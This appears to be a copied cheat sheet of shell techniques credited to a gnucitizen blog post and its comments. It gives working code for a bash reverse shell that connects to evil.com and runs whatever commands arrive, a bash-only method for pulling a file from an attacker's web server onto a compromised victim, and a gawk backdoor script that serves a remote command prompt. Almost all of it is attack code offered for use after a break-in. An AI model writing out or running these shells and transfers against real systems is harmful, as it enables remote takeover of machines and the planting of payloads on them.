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www.techgaun.com
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Reverse shell examples from http://www.gnucitizen.org/blog/reverse-shell-with-bash/ including those from comments
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www.techgaun.com
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============================================
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Although netcat is very useful, and you may have to use it in most cases, here is a simple technique which emulates what netcat does but it relies on bash only. Let’s see how.
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    In step one we start a listening service on our box. We can use netcat, or whatever you might have at hand.
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    $ nc -l -p 8080 -vvv
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    On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.
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    $ exec 5<>/dev/tcp/evil.com/8080
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    $ cat <&5 | while read line; do $line 2>&5 >&5; done
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-------------
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Transfer a file using HTTP: Say you have compromised a victim box and want to transfer a file to the victim.
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1. Put the file in the web root of the attacker box (I’m thinking of the web server in backtrack.
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2. Start up the web server on the attacker box
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3. On the victim box do:
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(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
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1>&3 & cat 0<&3) 3 /dev/tcp/AttackerIP/80 \
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| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
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do read i; done; cat) > local_filename
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Credit where credit is due:
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http://www.pebble.org.uk/linux/bashbrowser
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-------------
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Reverse shell in gawk
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#!/usr/bin/gawk -f
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#!/usr/bin/gawk -f
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BEGIN {
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        Port    =       8080
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        Prompt  =       "bkd> "
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        Service = "/inet/tcp/" Port "/0/0"
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        while (1) {
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                do {
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                        printf Prompt |& Service
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                        Service |& getline cmd
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                        if (cmd) {
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                                while ((cmd |& getline) > 0)
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                                        print $0 |& Service
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                                close(cmd)
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                        }
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                } while (cmd != "exit")
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                close(Service)
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        }
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}
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macuberg
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www.techgaun.com

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